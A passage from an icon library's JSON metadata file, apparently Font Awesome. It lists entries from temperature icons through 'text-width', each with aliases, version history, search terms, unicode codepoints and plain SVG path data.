        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 96a96 96 0 1 1 192 0A96 96 0 1 1 320 96zM144 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C70.2 332.6 64 349.5 64 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM32 112C32 50.2 82.1 0 144 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S0 447.5 0 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM192 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V272c0-8.8 7.2-16 16-16s16 7.2 16 16v50.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 96a96 96 0 1 1 192 0A96 96 0 1 1 320 96zM144 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C70.2 332.6 64 349.5 64 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM32 112C32 50.2 82.1 0 144 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S0 447.5 0 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM192 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V272c0-8.8 7.2-16 16-16s16 7.2 16 16v50.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "temperature-quarter": {
    "aliases": {
      "names": ["temperature-1", "thermometer-1", "thermometer-quarter"],
      "unicodes": {
        "secondary": ["10f2ca"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f2ca",
    "label": "Temperature Quarter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V272c0-8.8 7.2-16 16-16s16 7.2 16 16v50.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V272c0-8.8 7.2-16 16-16s16 7.2 16 16v50.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "temperature-three-quarters": {
    "aliases": {
      "names": ["temperature-3", "thermometer-3", "thermometer-three-quarters"],
      "unicodes": {
        "secondary": ["10f2c8"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mercury", "status", "temperature"]
    },
    "styles": ["solid"],
    "unicode": "f2c8",
    "label": "Temperature Three Quarters",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V144c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 64c-26.5 0-48 21.5-48 48V276.5c0 17.3-7.1 31.9-15.3 42.5C86.2 332.6 80 349.5 80 368c0 44.2 35.8 80 80 80s80-35.8 80-80c0-18.5-6.2-35.4-16.7-48.9c-8.2-10.6-15.3-25.2-15.3-42.5V112c0-26.5-21.5-48-48-48zM48 112C48 50.2 98.1 0 160 0s112 50.1 112 112V276.5c0 .1 .1 .3 .2 .6c.2 .6 .8 1.6 1.7 2.8c18.9 24.4 30.1 55 30.1 88.1c0 79.5-64.5 144-144 144S16 447.5 16 368c0-33.2 11.2-63.8 30.1-88.1c.9-1.2 1.5-2.2 1.7-2.8c.1-.3 .2-.5 .2-.6V112zM208 368c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-20.9 13.4-38.7 32-45.3V144c0-8.8 7.2-16 16-16s16 7.2 16 16V322.7c18.6 6.6 32 24.4 32 45.3z"
      }
    },
    "free": ["solid"]
  },
  "tencent-weibo": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d5",
    "label": "Tencent Weibo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z"
      }
    },
    "free": ["brands"]
  },
  "tenge-sign": {
    "aliases": {
      "names": ["tenge"],
      "unicodes": {
        "composite": ["20b8"],
        "secondary": ["10f7d7"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Tenge Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f7d7",
    "label": "Tenge Sign",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM0 192c0-17.7 14.3-32 32-32H192 352c17.7 0 32 14.3 32 32s-14.3 32-32 32H224V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V224H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM0 192c0-17.7 14.3-32 32-32H192 352c17.7 0 32 14.3 32 32s-14.3 32-32 32H224V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V224H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "tent": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bivouac", "campground", "refugee", "shelter", "tent"]
    },
    "styles": ["solid"],
    "unicode": "e57d",
    "label": "Tent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M269.4 6C280.5-2 295.5-2 306.6 6l224 160c7.4 5.3 12.2 13.5 13.2 22.5l32 288c1 9-1.9 18.1-8 24.9s-14.7 10.7-23.8 10.7H416L288 288V512H32c-9.1 0-17.8-3.9-23.8-10.7s-9-15.8-8-24.9l32-288c1-9 5.8-17.2 13.2-22.5L269.4 6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M269.4 6C280.5-2 295.5-2 306.6 6l224 160c7.4 5.3 12.2 13.5 13.2 22.5l32 288c1 9-1.9 18.1-8 24.9s-14.7 10.7-23.8 10.7H416L288 288V512H32c-9.1 0-17.8-3.9-23.8-10.7s-9-15.8-8-24.9l32-288c1-9 5.8-17.2 13.2-22.5L269.4 6z"
      }
    },
    "free": ["solid"]
  },
  "tent-arrow-down-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["permanent", "refugee", "shelter"]
    },
    "styles": ["solid"],
    "unicode": "e57e",
    "label": "Tent Arrow Down To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M241.8 111.9c8.9 9.9 8.1 25-1.8 33.9l-80 72c-9.1 8.2-23 8.2-32.1 0l-80-72c-9.9-8.9-10.7-24-1.8-33.9s24-10.7 33.9-1.8l39.9 36L120 24c0-13.3 10.7-24 24-24s24 10.7 24 24l0 122.1 39.9-36c9.9-8.9 25-8.1 33.9 1.8zm122.8 22.6c11.5-8.7 27.3-8.7 38.8 0l168 128c6.6 5 11 12.5 12.3 20.7l24 160 .7 4.7c17.5 .2 31.6 14.4 31.6 32c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H159.6l.7-4.7 24-160c1.2-8.2 5.6-15.7 12.3-20.7l168-128zM384 448h76.8L384 320V448z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M241.8 111.9c8.9 9.9 8.1 25-1.8 33.9l-80 72c-9.1 8.2-23 8.2-32.1 0l-80-72c-9.9-8.9-10.7-24-1.8-33.9s24-10.7 33.9-1.8l39.9 36L120 24c0-13.3 10.7-24 24-24s24 10.7 24 24l0 122.1 39.9-36c9.9-8.9 25-8.1 33.9 1.8zm122.8 22.6c11.5-8.7 27.3-8.7 38.8 0l168 128c6.6 5 11 12.5 12.3 20.7l24 160 .7 4.7c17.5 .2 31.6 14.4 31.6 32c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H159.6l.7-4.7 24-160c1.2-8.2 5.6-15.7 12.3-20.7l168-128zM384 448h76.8L384 320V448z"
      }
    },
    "free": ["solid"]
  },
  "tent-arrow-left-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["refugee", "shelter", "transition"]
    },
    "styles": ["solid"],
    "unicode": "e57f",
    "label": "Tent Arrow Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M488.1 6.2c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9L489.5 72 86.5 72l33.5-30.2c9.9-8.9 10.7-24 1.8-33.9S97.8-2.7 87.9 6.2l-80 72C2.9 82.7 0 89.2 0 96s2.9 13.3 7.9 17.8l80 72c9.9 8.9 25 8.1 33.9-1.8s8.1-25-1.8-33.9L86.5 120l402.9 0-33.5 30.2c-9.9 8.9-10.7 24-1.8 33.9s24 10.7 33.9 1.8l80-72c5.1-4.6 7.9-11 7.9-17.8s-2.9-13.3-7.9-17.8l-80-72zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M488.1 6.2c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9L489.5 72 86.5 72l33.5-30.2c9.9-8.9 10.7-24 1.8-33.9S97.8-2.7 87.9 6.2l-80 72C2.9 82.7 0 89.2 0 96s2.9 13.3 7.9 17.8l80 72c9.9 8.9 25 8.1 33.9-1.8s8.1-25-1.8-33.9L86.5 120l402.9 0-33.5 30.2c-9.9 8.9-10.7 24-1.8 33.9s24 10.7 33.9 1.8l80-72c5.1-4.6 7.9-11 7.9-17.8s-2.9-13.3-7.9-17.8l-80-72zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z"
      }
    },
    "free": ["solid"]
  },
  "tent-arrow-turn-left": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["refugee", "shelter", "temporary"]
    },
    "styles": ["solid"],
    "unicode": "e580",
    "label": "Tent Arrow Turn Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M120.1 41.8c9.9-8.9 10.7-24 1.8-33.9S97.8-2.7 87.9 6.2l-80 72C2.9 82.7 0 89.2 0 96s2.9 13.3 7.9 17.8l80 72c9.9 8.9 25 8.1 33.9-1.8s8.1-25-1.8-33.9L86.5 120 456 120c39.8 0 72 32.2 72 72v40c0 13.3 10.7 24 24 24s24-10.7 24-24V192c0-66.3-53.7-120-120-120L86.5 72l33.5-30.2zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M120.1 41.8c9.9-8.9 10.7-24 1.8-33.9S97.8-2.7 87.9 6.2l-80 72C2.9 82.7 0 89.2 0 96s2.9 13.3 7.9 17.8l80 72c9.9 8.9 25 8.1 33.9-1.8s8.1-25-1.8-33.9L86.5 120 456 120c39.8 0 72 32.2 72 72v40c0 13.3 10.7 24 24 24s24-10.7 24-24V192c0-66.3-53.7-120-120-120L86.5 72l33.5-30.2zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z"
      }
    },
    "free": ["solid"]
  },
  "tent-arrows-down": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["refugee", "shelter", "spontaneous"]
    },
    "styles": ["solid"],
    "unicode": "e581",
    "label": "Tent Arrows Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M209.8 111.9c-8.9-9.9-24-10.7-33.9-1.8l-39.9 36L136 24c0-13.3-10.7-24-24-24S88 10.7 88 24l0 122.1-39.9-36c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9l80 72c9.1 8.2 23 8.2 32.1 0l80-72c9.9-8.9 10.7-24 1.8-33.9zm352 0c-8.9-9.9-24-10.7-33.9-1.8l-39.9 36V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V146.1l-39.9-36c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9l80 72c9.1 8.2 23 8.2 32.1 0l80-72c9.9-8.9 10.7-24 1.8-33.9zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M209.8 111.9c-8.9-9.9-24-10.7-33.9-1.8l-39.9 36L136 24c0-13.3-10.7-24-24-24S88 10.7 88 24l0 122.1-39.9-36c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9l80 72c9.1 8.2 23 8.2 32.1 0l80-72c9.9-8.9 10.7-24 1.8-33.9zm352 0c-8.9-9.9-24-10.7-33.9-1.8l-39.9 36V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V146.1l-39.9-36c-9.9-8.9-25-8.1-33.9 1.8s-8.1 25 1.8 33.9l80 72c9.1 8.2 23 8.2 32.1 0l80-72c9.9-8.9 10.7-24 1.8-33.9zM307.4 166.5c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S86.7 512 96 512H288V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z"
      }
    },
    "free": ["solid"]
  },
  "tents": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bivouac", "campground", "refugee", "shelter", "tent"]
    },
    "styles": ["solid"],
    "unicode": "e582",
    "label": "Tents",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M396.6 6.5L235.8 129.1c9.6 1.8 18.9 5.8 27 12l168 128c13.2 10.1 22 24.9 24.5 41.4l6.2 41.5H608c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128c-11.5-8.7-27.3-8.7-38.8 0zm-153.2 160c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S22.7 512 32 512H224V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M396.6 6.5L235.8 129.1c9.6 1.8 18.9 5.8 27 12l168 128c13.2 10.1 22 24.9 24.5 41.4l6.2 41.5H608c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128c-11.5-8.7-27.3-8.7-38.8 0zm-153.2 160c-11.5-8.7-27.3-8.7-38.8 0l-168 128c-6.6 5-11 12.5-12.3 20.7l-24 160c-1.4 9.2 1.3 18.6 7.4 25.6S22.7 512 32 512H224V352l96 160h96c9.3 0 18.2-4.1 24.2-11.1s8.8-16.4 7.4-25.6l-24-160c-1.2-8.2-5.6-15.7-12.3-20.7l-168-128z"
      }
    },
    "free": ["solid"]
  },
  "terminal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f120"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "code",
        "coding",
        "command",
        "console",
        "development",
        "prompt",
        "terminal"
      ]
    },
    "styles": ["solid"],
    "unicode": "f120",
    "label": "Terminal",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M9.4 86.6C-3.1 74.1-3.1 53.9 9.4 41.4s32.8-12.5 45.3 0l192 192c12.5 12.5 12.5 32.8 0 45.3l-192 192c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L178.7 256 9.4 86.6zM256 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M9.4 86.6C-3.1 74.1-3.1 53.9 9.4 41.4s32.8-12.5 45.3 0l192 192c12.5 12.5 12.5 32.8 0 45.3l-192 192c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L178.7 256 9.4 86.6zM256 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "text-height": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f034"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f034",
    "label": "Text Height",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767248,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 128V96h64l0 320H96c-17.7 0-32 14.3-32 32s14.3 32 32 32H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H192l0-320h64v32c0 17.7 14.3 32 32 32s32-14.3 32-32V80c0-26.5-21.5-48-48-48H160 48C21.5 32 0 53.5 0 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32zM502.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32V352H416c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H512V160h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 128V96h64l0 320H96c-17.7 0-32 14.3-32 32s14.3 32 32 32H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H192l0-320h64v32c0 17.7 14.3 32 32 32s32-14.3 32-32V80c0-26.5-21.5-48-48-48H160 48C21.5 32 0 53.5 0 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32zM502.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32V352H416c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H512V160h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64z"
      }
    },
    "free": ["solid"]
  },
  "text-slash": {
    "aliases": {
      "names": ["remove-format"],
      "unicodes": {
        "secondary": ["10f87d"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cancel", "font", "format", "remove", "style", "text"]
    },
    "styles": ["solid"],
    "unicode": "f87d",
    "label": "Text Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L355.7 253.5 400.2 96H503L497 120.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l11-44.1C577.6 61.3 554.7 32 523.5 32H376.1h-.3H204.5c-22 0-41.2 15-46.6 36.4l-6.3 25.2L38.8 5.1zm168 131.7c.1-.3 .2-.7 .3-1L217 96H333.7L301.3 210.8l-94.5-74.1zM243.3 416H192c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H309.8l17.6-62.1L272.9 311 243.3 416z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L355.7 253.5 400.2 96H503L497 120.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l11-44.1C577.6 61.3 554.7 32 523.5 32H376.1h-.3H204.5c-22 0-41.2 15-46.6 36.4l-6.3 25.2L38.8 5.1zm168 131.7c.1-.3 .2-.7 .3-1L217 96H333.7L301.3 210.8l-94.5-74.1zM243.3 416H192c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H309.8l17.6-62.1L272.9 311 243.3 416z"
      }
    },
    "free": ["solid"]
  },
  "text-width": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f035"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f035",
    "label": "Text Width",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
